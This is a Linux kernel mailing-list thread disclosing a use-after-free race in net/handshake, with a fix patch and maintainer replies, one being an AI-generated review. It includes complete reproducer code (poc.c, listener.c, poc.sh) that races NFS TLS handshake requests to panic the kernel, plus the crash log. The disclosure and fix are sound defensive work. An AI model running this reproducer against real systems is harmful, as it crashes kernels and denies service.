net/handshake: Protect request hash lookups
cover net/handshake: Protect request hash lookups
From: Luxiao Xu <[email protected]>
Hi Linux kernel maintainers,
We found and validated a issue in net/handshake/request.c. The bug is reachable by a non-root user via user and net namespace. We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
handshake_req_hash_lookup() uses rhashtable_lookup_fast(), which drops the RCU read lock internally and returns a naked pointer without taking any lifetime reference.
When handshake_req_submit() encounters an error during notification (such as when the generic-netlink multicast receive queues are filled and handshake_genl_notify() fails), it removes the request from the pending list and immediately frees it synchronously via handshake_req_destroy() and kfree().
If an asynchronous transport teardown or cancellation races that unwind, concurrent callers such as tls_handshake_close(), handshake_req_cancel(), or handshake_nl_done_doit() look up the request and dereference freed memory. In addition, the rhashtable lookup itself races with kfree(), leading to a KASAN panic in memcmp.
Furthermore, handshake_req_next() dequeues a pending request without taking a reference on the request. If FD_PREPARE() or hp_accept() fails after a concurrent cancellation or socket close has released the submit file pin, dropping the file pin in handshake_nl_accept_doit() can trigger socket destruction immediately, freeing the request before handshake_complete() or trace_handshake_cmd_accept_err() completes.
Root cause:handshake_req_hash_lookup() returns a request pointer without acquiring a reference count under RCU protection, and handshake_req_destroy() frees the request memory synchronously via kfree() without waiting for an RCU grace period. In addition, handshake_req_next() does not hold a request lifetime reference across the accept preparation and error paths.
Reproducer:
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif
#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1)) #endif
#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr))) #endif
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#define NLA_NEXT(nla, attrlen) \ ((attrlen) -= NLA_ALIGN((nla)->nla_len), \ (struct nlattr *)(((char *)(nla)) + NLA_ALIGN((nla)->nla_len))) #define NLA_OK(nla, len) \ ((len) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && \ (nla)->nla_len <= (len))
struct rpc_probe {
uint32_t recmark;
uint32_t xid;
uint32_t msg_type;
uint32_t rpcvers;
uint32_t prog;
uint32_t vers;
uint32_t proc;
uint32_t cred_flavor;
uint32_t cred_len;
uint32_t verf_flavor;
uint32_t verf_len;
};struct worker_arg {
const struct sockaddr_in *addr;
unsigned int delay_us;
unsigned int attempts;
unsigned int id;
};static atomic_uint global_xid = 0x41410000;
static atomic_ulong total_attempts;
static atomic_int stop_now;
static int nl_open(void)
{
struct sockaddr_nl addr = {
.nl_family = AF_NETLINK,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_GENERIC);
if (fd < 0)
return -1;
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
close(fd);
return -1;
}
return fd;
}static int nl_send_getfamily(int fd, const char *family)
{
struct {
struct nlmsghdr nlh;
struct genlmsghdr genl;
struct nlattr nla;
char name[32];
} req = {
.nlh = {
.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN),
.nlmsg_type = GENL_ID_CTRL,
.nlmsg_flags = NLM_F_REQUEST,
.nlmsg_seq = 1,
},
.genl = {
.cmd = CTRL_CMD_GETFAMILY,
.version = 1,
},
.nla = {
.nla_type = CTRL_ATTR_FAMILY_NAME,
},
};
size_t len = strlen(family) + 1;
if (len > sizeof(req.name)) {
errno = ENAMETOOLONG;
return -1;
}
memcpy(req.name, family, len);
req.nla.nla_len = NLA_HDRLEN + len;
req.nlh.nlmsg_len += NLMSG_ALIGN(req.nla.nla_len);
return send(fd, &req, req.nlh.nlmsg_len, 0);
}static int parse_mcast_group_id(const char *buf, ssize_t len, const char *group)
{
const struct nlmsghdr *nlh;
for (nlh = (const struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
nlh = NLMSG_NEXT(nlh, len)) {
const struct genlmsghdr *genl;
int attrlen;
const struct nlattr *attr;
if (nlh->nlmsg_type == NLMSG_ERROR)
return -1;
genl = NLMSG_DATA(nlh);
attr = (const struct nlattr *)((const char *)genl + GENL_HDRLEN);
attrlen = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);
for (; NLA_OK(attr, attrlen); attr = NLA_NEXT(attr, attrlen)) {
if (attr->nla_type != CTRL_ATTR_MCAST_GROUPS)
continue;
int nested_len = attr->nla_len - NLA_HDRLEN;
const struct nlattr *entry =
(const struct nlattr *)((const char *)attr + NLA_HDRLEN);
for (; NLA_OK(entry, nested_len);
entry = NLA_NEXT(entry, nested_len)) {
int grp_len = entry->nla_len - NLA_HDRLEN;
const struct nlattr *grp =
(const struct nlattr *)((const char *)entry + NLA_HDRLEN);
const char *name = NULL;
uint32_t id = 0;
for (; NLA_OK(grp, grp_len); grp = NLA_NEXT(grp, grp_len)) {
if (grp->nla_type == CTRL_ATTR_MCAST_GRP_NAME)
name = NLA_DATA(grp);
else if (grp->nla_type == CTRL_ATTR_MCAST_GRP_ID)
memcpy(&id, NLA_DATA(grp), sizeof(id));
}
if (name && strcmp(name, group) == 0)
return (int)id;
}
}
}
errno = ENOENT;
return -1;
}static int nl_resolve_mcast_group(const char *family, const char *group)
{
char buf[8192];
int fd, id;
ssize_t len;
fd = nl_open();
if (fd < 0)
return -1;
if (nl_send_getfamily(fd, family) < 0) {
close(fd);
return -1;
}
len = recv(fd, buf, sizeof(buf), 0);
close(fd);
if (len < 0)
return -1;
id = parse_mcast_group_id(buf, len, group);
return id;
}static int *open_listeners(unsigned int count)
{
int group_id;
int *fds;
group_id = nl_resolve_mcast_group("handshake", "tlshd");
if (group_id < 0) {
perror("resolve handshake tlshd group");
return NULL;
}
fds = calloc(count, sizeof(*fds));
if (!fds)
return NULL;
for (unsigned int i = 0; i < count; i++) {
int fd;
int rcvbuf = 1024;
fd = nl_open();
if (fd < 0) {
perror("nl_open");
count = i;
break;
}
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf));
if (setsockopt(fd, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP,
&group_id, sizeof(group_id)) < 0) {
perror("NETLINK_ADD_MEMBERSHIP");
close(fd);
count = i;
break;
}
fds[i] = fd;
}
fprintf(stderr, "opened %u multicast listeners on group %d\n",
count, group_id);
return fds;
}static void close_listeners(int *fds, unsigned int count)
{
if (!fds)
return;
for (unsigned int i = 0; i < count; i++)
if (fds[i] > 0)
close(fds[i]);
free(fds);
}static void on_signal(int sig)
{
(void)sig;
atomic_store(&stop_now, 1);
}static int send_probe(const struct sockaddr_in *addr, unsigned int delay_us)
{
struct rpc_probe probe = {
.recmark = htonl(0x80000028),
.xid = htonl(atomic_fetch_add(&global_xid, 1)),
.msg_type = htonl(0),
.rpcvers = htonl(2),
.prog = htonl(100003),
.vers = htonl(4),
.proc = htonl(0),
.cred_flavor = htonl(7),
.cred_len = htonl(0),
.verf_flavor = htonl(0),
.verf_len = htonl(0),
};
struct linger ling = { .l_onoff = 1, .l_linger = 0 };
const int one = 1;
int fd;
ssize_t n;
fd = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0)
return -1;
setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one));
setsockopt(fd, SOL_SOCKET, SO_LINGER, &ling, sizeof(ling));
if (connect(fd, (const struct sockaddr *)addr, sizeof(*addr)) < 0) {
close(fd);
return -1;
}
n = send(fd, &probe, sizeof(probe), MSG_NOSIGNAL);
if (n != sizeof(probe)) {
close(fd);
return -1;
}
if (delay_us) {
struct timespec ts = {
.tv_sec = delay_us / 1000000U,
.tv_nsec = (long)(delay_us % 1000000U) * 1000L,
};
nanosleep(&ts, NULL);
}
close(fd);
return 0;
}static void *worker(void *data)
{
const struct worker_arg *arg = data;
unsigned int i = 0;
while (!atomic_load(&stop_now)) {
if (arg->attempts && i >= arg->attempts)
break;
send_probe(arg->addr, arg->delay_us);
atomic_fetch_add(&total_attempts, 1);
i++;
}
fprintf(stderr, "worker %u done after %u attempts\n", arg->id, i);
return NULL;
}static unsigned int parse_u32(const char *s, const char *name)
{
char *end;
unsigned long v;
errno = 0;
v = strtoul(s, &end, 0);
if (errno || !s[0] || *end || v > UINT32_MAX) {
fprintf(stderr, "invalid %s: %s\n", name, s);
exit(1);
}
return (unsigned int)v;
}int main(int argc, char **argv)
{
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(2049),
};
int *listener_fds = NULL;
struct worker_arg *args;
pthread_t *threads;
unsigned int workers = 32;
unsigned int delay_us = 2000;
unsigned int attempts = 0;
unsigned int listeners = 0;
unsigned int port = 2049;
int opt;
int rc = 0;
while ((opt = getopt(argc, argv, "h:p:t:d:n:l:")) != -1) {
switch (opt) {
case 'h':
if (inet_pton(AF_INET, optarg, &addr.sin_addr) != 1) {
fprintf(stderr, "invalid host: %s\n", optarg);
return 1;
}
break;
case 'p':
port = parse_u32(optarg, "port");
if (port > 65535) {
fprintf(stderr, "invalid port: %u\n", port);
return 1;
}
addr.sin_port = htons(port);
break;
case 't':
workers = parse_u32(optarg, "threads");
break;
case 'd':
delay_us = parse_u32(optarg, "delay_us");
break;
case 'n':
attempts = parse_u32(optarg, "attempts");
break;
case 'l':
listeners = parse_u32(optarg, "listeners");
break;
default:
fprintf(stderr,
"usage: %s [-h host] [-p port] [-t threads] [-d delay_us] [-n attempts_per_thread] [-l listeners]\n",
argv[0]);
return 1;
}
}
if (!addr.sin_addr.s_addr)
inet_pton(AF_INET, "127.0.0.1", &addr.sin_addr);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
if (listeners) {
listener_fds = open_listeners(listeners);
if (!listener_fds) {
fprintf(stderr, "failed to open listeners\n");
return 1;
}
}
threads = calloc(workers, sizeof(*threads));
args = calloc(workers, sizeof(*args));
if (!threads || !args) {
perror("calloc");
return 1;
}
fprintf(stderr,
"target=%s:%u threads=%u delay_us=%u attempts_per_thread=%u listeners=%u\n",
inet_ntoa(addr.sin_addr), port, workers, delay_us, attempts, listeners);
for (unsigned int i = 0; i < workers; i++) {
args[i].addr = &addr;
args[i].delay_us = delay_us;
args[i].attempts = attempts;
args[i].id = i;
rc = pthread_create(&threads[i], NULL, worker, &args[i]);
if (rc) {
errno = rc;
perror("pthread_create");
atomic_store(&stop_now, 1);
workers = i;
break;
}
}
for (unsigned int i = 0; i < workers; i++)
pthread_join(threads[i], NULL);
fprintf(stderr, "total_attempts=%lu\n",
(unsigned long)atomic_load(&total_attempts));
close_listeners(listener_fds, listeners);
free(args);
free(threads);
return 0;
}------END poc.c--------
------BEGIN listener.c------
#include <errno.h>
#include <netlink/genl/genl.h>
#include <netlink/genl/ctrl.h>
#include <netlink/netlink.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static volatile sig_atomic_t stop_now;
static void on_signal(int sig)
{
(void)sig;
stop_now = 1;
}static unsigned int parse_u32(const char *s, const char *name)
{
char *end;
unsigned long v;
errno = 0;
v = strtoul(s, &end, 0);
if (errno || !s[0] || *end || v > 1000000UL) {
fprintf(stderr, "invalid %s: %s\n", name, s);
exit(1);
}
return (unsigned int)v;
}int main(int argc, char **argv)
{
struct nl_sock **socks;
unsigned int count = 256;
int grp;
if (argc > 1)
count = parse_u32(argv[1], "count");
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
socks = calloc(count, sizeof(*socks));
if (!socks) {
perror("calloc");
return 1;
}
socks[0] = nl_socket_alloc();
if (!socks[0]) {
fprintf(stderr, "nl_socket_alloc failed\n");
return 1;
}
if (genl_connect(socks[0]) < 0) {
fprintf(stderr, "genl_connect failed\n");
return 1;
}
grp = genl_ctrl_resolve_grp(socks[0], "handshake", "tlshd");
if (grp < 0) {
fprintf(stderr, "genl_ctrl_resolve_grp failed: %s\n", nl_geterror(grp));
return 1;
}
nl_socket_free(socks[0]);
socks[0] = NULL;
for (unsigned int i = 0; i < count; i++) {
socks[i] = nl_socket_alloc();
if (!socks[i]) {
fprintf(stderr, "nl_socket_alloc failed at %u\n", i);
count = i;
break;
}
nl_socket_set_buffer_size(socks[i], 1024, 0);
if (genl_connect(socks[i]) < 0) {
fprintf(stderr, "genl_connect failed at %u\n", i);
nl_socket_free(socks[i]);
socks[i] = NULL;
count = i;
break;
}
if (nl_socket_add_membership(socks[i], grp) < 0) {
fprintf(stderr, "membership failed at %u\n", i);
nl_socket_free(socks[i]);
socks[i] = NULL;
count = i;
break;
}
}
fprintf(stderr, "opened %u listeners on group %d\n", count, grp);
while (!stop_now)
sleep(1);
for (unsigned int i = 0; i < count; i++)
if (socks[i])
nl_socket_free(socks[i]);
free(socks);
return 0;
}------END listener.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
THREADS=${THREADS:-32}
ATTEMPTS=${ATTEMPTS:-0}
LISTENERS=${LISTENERS:-1024}
DELAYS=${DELAYS:-"1800 2000 2200 2500"}
mount -t nfsd nfsd /proc/fs/nfsd 2>/dev/null || true if ! pgrep -x rpcbind >/dev/null 2>&1; then
rpcbind -w
sleep 1
fi
echo tcp 2049 > /proc/fs/nfsd/portlist 2>/dev/null || true echo 8 > /proc/fs/nfsd/threads
make -C "$DIR" poc >/dev/null
gcc -O2 -pthread -Wall -Wextra \ $(pkg-config --cflags libnl-3.0 libnl-genl-3.0) \ -o "$DIR/listener" "$DIR/listener.c" \ $(pkg-config --libs libnl-3.0 libnl-genl-3.0)
"$DIR/listener" "$LISTENERS" &
listener_pid=$!
trap 'kill $listener_pid 2>/dev/null || true; wait $listener_pid 2>/dev/null || true' EXIT INT TERM sleep 2
pids=""
for delay in $DELAYS; do
"$DIR/poc" -t "$THREADS" -d "$delay" -n "$ATTEMPTS" & pids="$pids $!"
done
for pid in $pids; do
wait "$pid"
done
------END poc.sh--------
------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -pthread -Wall -WextraNL_CFLAGS := $(shell pkg-config --cflags libnl-3.0 libnl-genl-3.0 2>/dev/null) NL_LIBS := $(shell pkg-config --libs libnl-3.0 libnl-genl-3.0 2>/dev/null)
all: poc
poc: poc.c
$(CC) $(CFLAGS) -o $@ $<
listener: listener.c
$(CC) $(CFLAGS) $(NL_CFLAGS) -o $@ $< $(NL_LIBS)
clean:
rm -f poc listener
------END Makefile--------
----BEGIN crash log----
[ 412.463830][ T9855] page_owner tracks the page as allocated
[ 412.464323][ T9855] page last allocated via order 1, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 9854, tgid 9854 (nfsd), ts 373315545222, free_ts 371596521038
[ 412.465765][ T9855] page last free pid 15 tgid 15 stack trace:
[ 412.466314][ T9855] Kernel panic - not syncing: KASAN: panic_on_warn set ...
[ 412.466795][ T9855] CPU: 1 UID: 0 PID: 9855 Comm: nfsd Not tainted 7.1.0-rc1 #2 PREEMPT(full)
[ 412.467375][ T9855] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 412.468078][ T9855] Call Trace:
[ 412.468307][ T9855] <TASK>
[ 412.468506][ T9855] vpanic+0x6c3/0x790
[ 412.468772][ T9855] ? __pfx_vpanic+0x10/0x10
[ 412.469077][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.469470][ T9855] ? memcmp+0x176/0x1d0
[ 412.469745][ T9855] panic+0xca/0xd0
[ 412.469994][ T9855] ? __pfx_panic+0x10/0x10
[ 412.470293][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.470665][ T9855] ? preempt_schedule_common+0x42/0xc0
[ 412.471028][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.471409][ T9855] ? preempt_schedule_thunk+0x16/0x30
[ 412.471776][ T9855] check_panic_on_warn+0x61/0x80
[ 412.472107][ T9855] end_report+0x13e/0x180
[ 412.472402][ T9855] kasan_report+0xf4/0x120
[ 412.472702][ T9855] ? memcmp+0x176/0x1d0
[ 412.472986][ T9855] memcmp+0x176/0x1d0
[ 412.473253][ T9855] handshake_req_hash_lookup+0x264/0x700
[ 412.473640][ T9855] ? __pfx_handshake_req_hash_lookup+0x10/0x10
[ 412.474042][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.474422][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.474799][ T9855] ? find_held_lock+0x2b/0x80
[ 412.475116][ T9855] tls_handshake_close+0x32/0x70
[ 412.475455][ T9855] svc_tcp_sock_detach+0x48/0x4f0
[ 412.475790][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.476162][ T9855] svc_delete_xprt+0x12b/0xa00
[ 412.476483][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.476856][ T9855] ? svc_pool_wake_idle_thread+0x20a/0x830
[ 412.477249][ T9855] svc_recv+0x16df/0x2630
[ 412.477552][ T9855] ? __pfx_svc_recv+0x10/0x10
[ 412.477869][ T9855] ? nfsd+0x389/0xa80
[ 412.478144][ T9855] nfsd+0x2db/0xa80
[ 412.478406][ T9855] ? __entry_text_end+0x1020b5/0x1020b9
[ 412.478770][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.479148][ T9855] ? _raw_spin_unlock_irqrestore+0x57/0x80
[ 412.479544][ T9855] ? __pfx_nfsd+0x10/0x10
[ 412.479830][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.480206][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.480590][ T9855] ? __kthread_parkme+0xb4/0x200
[ 412.480928][ T9855] ? __pfx_nfsd+0x10/0x10
[ 412.481220][ T9855] kthread+0x312/0x410
[ 412.481518][ T9855] ? _raw_spin_unlock_irq+0x28/0x50
[ 412.481863][ T9855] ? __pfx_kthread+0x10/0x10
[ 412.482171][ T9855] ret_from_fork+0x600/0xa20
[ 412.482493][ T9855] ? __pfx_ret_from_fork+0x10/0x10
[ 412.482835][ T9855] ? srso_alias_return_thunk+0x5/0xfbef5
[ 412.483212][ T9855] ? __switch_to+0x57f/0xe20
[ 412.483527][ T9855] ? __pfx_kthread+0x10/0x10
[ 412.483841][ T9855] ret_from_fork_asm+0x1a/0x30
[ 412.484181][ T9855] </TASK>
[ 412.485060][ T9855] Kernel Offset: disabled
[ 412.485370][ T9855] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Luxiao Xu
Luxiao Xu (1):
net/handshake: Protect request hash lookups
net/handshake/handshake-test.c | 3 +++ net/handshake/handshake.h | 5 ++++ net/handshake/netlink.c | 3 +++ net/handshake/request.c | 43 +++++++++++++++++++++++++++++----- net/handshake/tlshd.c | 8 +++---- 5 files changed, 52 insertions(+), 10 deletions(-)
Signature · 1 line
2.43.0
PATCH 1/1 net/handshake: Protect request hash lookups
From: Luxiao Xu <[email protected]>
handshake_req_hash_lookup() uses rhashtable_lookup_fast(), which drops the RCU read lock internally and returns a naked pointer without holding a reference count or an active RCU read lock.
When handshake_req_submit() encounters an error during notification (such as handshake_genl_notify() failure), it removes the request from the pending list and frees it synchronously via handshake_req_destroy() and kfree().
If an asynchronous transport teardown or cancel races that unwind, concurrent callers such as handshake_req_cancel(), tls_handshake_close(), or handshake_nl_done_doit() can look up the request and dereference freed memory. Additionally, rhashtable traversal itself can race with kfree() and panic in memcmp.
Furthermore, handshake_req_next() dequeues a pending request without taking a reference on the request itself. If FD_PREPARE() or hp_accept() fails after a concurrent cancellation or socket close has released the submit file pin, dropping the file pin in handshake_nl_accept_doit() can trigger socket destruction immediately, freeing the request before handshake_complete() or trace_handshake_cmd_accept_err() completes.
Fix these races by introducing a kref reference count and rcu_head to struct handshake_req. handshake_req_hash_lookup() now safely acquires a reference using kref_get_unless_zero() under rcu_read_lock(). Likewise, handshake_req_next() acquires a reference under hn_lock, and callers release their references using handshake_req_put(). Releasing the final reference in handshake_req_put() frees the request via kfree_rcu().
--- net/handshake/handshake-test.c | 3 +++ net/handshake/handshake.h | 5 ++++ net/handshake/netlink.c | 3 +++ net/handshake/request.c | 43 +++++++++++++++++++++++++++++----- net/handshake/tlshd.c | 8 +++---- 5 files changed, 52 insertions(+), 10 deletions(-)
net/handshake/handshake-test.c +3 -0
@@ -236,6 +236,7 @@ static void handshake_req_submit_test4(struct kunit *test)/* Assert */ KUNIT_EXPECT_NOT_NULL (test, result);KUNIT_EXPECT_PTR_EQ (test, req, result); +handshake_req_put (result);handshake_req_cancel (sock->sk);KUNIT_EXPECT_EQ (test,file_count (filp), fcount_before);
@@ -398,6 +399,7 @@ static void handshake_req_cancel_test2(struct kunit *test)* off by handshake_req_next(); see handshake_nl_accept_doit(). */ fput (filp); +handshake_req_put (next);/* Act */ result =handshake_req_cancel (sock->sk);
@@ -452,6 +454,7 @@ static void handshake_req_cancel_test3(struct kunit *test)/* Pretend to complete this request */ handshake_complete (next, -ETIMEDOUT ,NULL );KUNIT_EXPECT_EQ (test,file_count (filp), fcount_before); +handshake_req_put (next);/* Act */ result =handshake_req_cancel (sock->sk);
net/handshake/handshake.h +5 -0
@@ -10,6 +10,8 @@ #ifndef _INTERNAL_HANDSHAKE_H #define _INTERNAL_HANDSHAKE_H +#include <linux/kref.h> + /* Per-net namespace context */ struct handshake_net { spinlock_t hn_lock; /* protects next 3 fields */
@@ -36,6 +38,8 @@ struct handshake_req {struct file *hr_file;struct sock *hr_sk;void (*hr_odestruct)(struct sock *sk); +struct kref hr_kref; +struct rcu_head hr_rcu;/* Always the last field */ char hr_priv[];
@@ -85,6 +89,7 @@ int handshake_req_hash_init(void);void handshake_req_hash_destroy (void );void *handshake_req_private (struct handshake_req *req);struct handshake_req *handshake_req_hash_lookup (struct sock *sk); +void handshake_req_put (struct handshake_req *req);struct handshake_req *handshake_req_next (struct handshake_net *hn,int class);int handshake_req_submit (struct socket *sock,struct handshake_req *req,gfp_t flags);
net/handshake/netlink.c +3 -0
@@ -119,6 +119,7 @@ int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info)trace_handshake_cmd_accept (net, req, req->hr_sk,fd_prepare_fd (fdf));fd_publish (fdf); +handshake_req_put (req);return 0 ; }
@@ -127,6 +128,7 @@ int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info)handshake_complete (req, -EIO ,NULL ); out_status:trace_handshake_cmd_accept_err (net, req,NULL , err); +handshake_req_put (req);return err; }
@@ -160,6 +162,7 @@ int handshake_nl_done_doit(struct sk_buff *skb, struct genl_info *info) status = -(int )nla_get_u32 (info->attrs[HANDSHAKE_A_DONE_STATUS ]);handshake_complete (req, status, info); +handshake_req_put (req);sockfd_put (sock);return 0 ; }
net/handshake/request.c +37 -6
102 lines not on this page · raw message
net/handshake/tlshd.c +4 -4
@@ -449,9 +449,9 @@ void tls_handshake_close(struct socket *sock) req =handshake_req_hash_lookup (sock->sk);if (!req)return ; -if (!test_and_clear_bit (HANDSHAKE_F_REQ_SESSION , &req->hr_flags)) -return ; -tls_alert_send (sock,TLS_ALERT_LEVEL_WARNING , -TLS_ALERT_DESC_CLOSE_NOTIFY ); +if (test_and_clear_bit (HANDSHAKE_F_REQ_SESSION , &req->hr_flags)) +tls_alert_send (sock,TLS_ALERT_LEVEL_WARNING , +TLS_ALERT_DESC_CLOSE_NOTIFY ); +handshake_req_put (req); }EXPORT_SYMBOL (tls_handshake_close);
Signature · 1 line
2.43.0
Quoted 6 lines · Ren Wei
Fix these races by introducing a kref reference count and
rcu_headto structhandshake_req.handshake_req_hash_lookup()now safely acquires a reference usingkref_get_unless_zero()underrcu_read_lock(). Likewise,handshake_req_next()acquires a reference underhn_lock, and callers release their references usinghandshake_req_put(). Releasing the final reference inhandshake_req_put()frees the request viakfree_rcu().
Signature · 1 line
Chuck Lever (Come to NFS bake-a-thon! https://nfsv4bat.org)
Jakub Kicinski
maintainerThis is an AI-generated review of your patch. The human sending this email has considered the AI review valid, or at least plausible.
---
net/handshake: Protect request hash lookups
This patch adds a kref and an rcu_head to struct handshake_req. handshake_req_hash_lookup() and handshake_req_next() now return a counted reference, and callers release it with handshake_req_put(). The final put frees the request via kfree_rcu().
Quoted 4 lines
net/handshake/netlink.c +0
-0
[ ... ]
net/handshake/netlink.c int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info) · line 133
Quoted 7 lines
net/handshake/netlink.c +1
-0@@ -127,6 +128,7 @@ int handshake_nl_accept_doit(struct sk_buff *skb, struct genl_info *info)handshake_complete (req, -EIO ,NULL ); out_status:trace_handshake_cmd_accept_err (net, req,NULL , err); +handshake_req_put (req);return err; }
[Severity: High]
The commit message says:
If FD_PREPARE() or hp_accept() fails after a concurrent cancellation or socket close has released the submit file pin, dropping the file pin in handshake_nl_accept_doit() can trigger socket destruction immediately, freeing the request before handshake_complete() or trace_handshake_cmd_accept_err() completes.
The new kref keeps req alive during this window. Is req->hr_sk still protected, though?
Both error paths in handshake_nl_accept_doit() drop the accept side file reference before they reach handshake_complete():
FD_PREPARE(fdf, O_CLOEXEC, req->hr_file);
if (fdf.err) {
fput(req->hr_file); /* drop ref from handshake_req_next() */
err = fdf.err;
goto out_complete;
}
err = req->hr_proto->hp_accept(req, info, fd_prepare_fd(fdf));
if (err)
goto out_complete; /* Automatic cleanup handles fput */handshake_req_next() now takes a kref on the request, but nothing takes a reference on the sock. handshake_complete() then dereferences the sock before it checks HANDSHAKE_F_REQ_COMPLETED:
net/handshake/request.c:handshake_complete() {
struct sock *sk = req->hr_sk;
struct net *net = sock_net(sk);
if (!test_and_set_bit(HANDSHAKE_F_REQ_COMPLETED, &req->hr_flags)) {
...
}Can the following interleaving cause a use-after-free of the sock?
tlshd (accept) consumer (e.g. nvme-tcp)handshake_req_next()
get_file(), kref_get()
tls_handshake_cancel()
handshake_req_cancel()
test_and_set_bit(COMPLETED)
fput(req->hr_file)FD_PREPARE() fails (EMFILE)
fput(req->hr_file)
(or hp_accept() fails and the
FD_PREPARE cleanup does fput)
nvme_tcp_alloc_queue() err_sock:
__fput_sync(queue->sock->file)
sock_close()->tcp_close()->
...->handshake_sk_destruct()
(req survives on accept kref)
sk_destruct(sk) /* sock freed */handshake_complete(req, -EIO, NULL)
sk = req->hr_sk;
sock_net(sk) /* reads freed sock */
The final fput runs synchronously on the consumer's thread. Deferring tlshd's own fput through task_work would therefore not close this window.
One option is to keep the accept side file reference until after handshake_complete(). Another is to take sock_hold(req->hr_sk) in handshake_req_next() and drop it in handshake_nl_accept_doit(). A third is to move the hr_sk and sock_net() dereference inside the test_and_set_bit() branch of handshake_complete(). Would any of these work here?